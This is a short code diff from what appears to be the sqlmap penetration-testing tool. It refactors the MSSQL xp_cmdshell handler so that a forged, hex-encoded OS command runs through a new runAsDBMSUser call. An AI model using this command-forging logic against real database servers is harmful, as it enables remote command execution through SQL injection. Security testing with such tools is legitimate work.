|
21 | 21 | from lib.core.enums import DBMS |
22 | 22 | from lib.core.enums import HASHDB_KEYS |
23 | 23 | from lib.core.exception import sqlmapUnsupportedFeatureException |
24 | | -from lib.core.settings import SQL_STATEMENTS |
25 | 24 | from lib.core.threads import getCurrentThreadData |
26 | 25 | from lib.core.unescaper import unescaper |
27 | 26 | from lib.request import inject |
@@ -148,29 +147,14 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): |
148 | 147 | if cmd: |
149 | 148 | self.xpCmdshellExecCmd(cmd) |
150 | 149 |
|
151 | | - def xpCmdshellForgeRunAs(self, query): |
152 | | - if conf.dCred: |
153 | | - for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): |
154 | | - for sqlStatement in sqlStatements: |
155 | | - if query.lower().startswith(sqlStatement): |
156 | | - sqlType = sqlTitle |
157 | | - break |
158 | | - |
159 | | - if sqlType and "SELECT" not in sqlType: |
160 | | - query = "SELECT 1;%s" % query |
161 | | - |
162 | | - query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) |
163 | | - |
164 | | - return query |
165 | | - |
166 | 150 | def xpCmdshellForgeCmd(self, cmd): |
167 | 151 | self.__randStr = randomStr(lowercase=True) |
168 | 152 | self.__cmd = "0x%s" % hexencode(cmd) |
169 | 153 | self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr |
170 | 154 | self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) |
171 | 155 | self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) |
172 | 156 |
|
173 | | - return self.xpCmdshellForgeRunAs(self.__forgedCmd) |
| 157 | + return self.runAsDBMSUser(self.__forgedCmd) |
174 | 158 |
|
175 | 159 | def xpCmdshellExecCmd(self, cmd, silent=False): |
176 | 160 | cmd = self.xpCmdshellForgeCmd(cmd) |
|
0 commit comments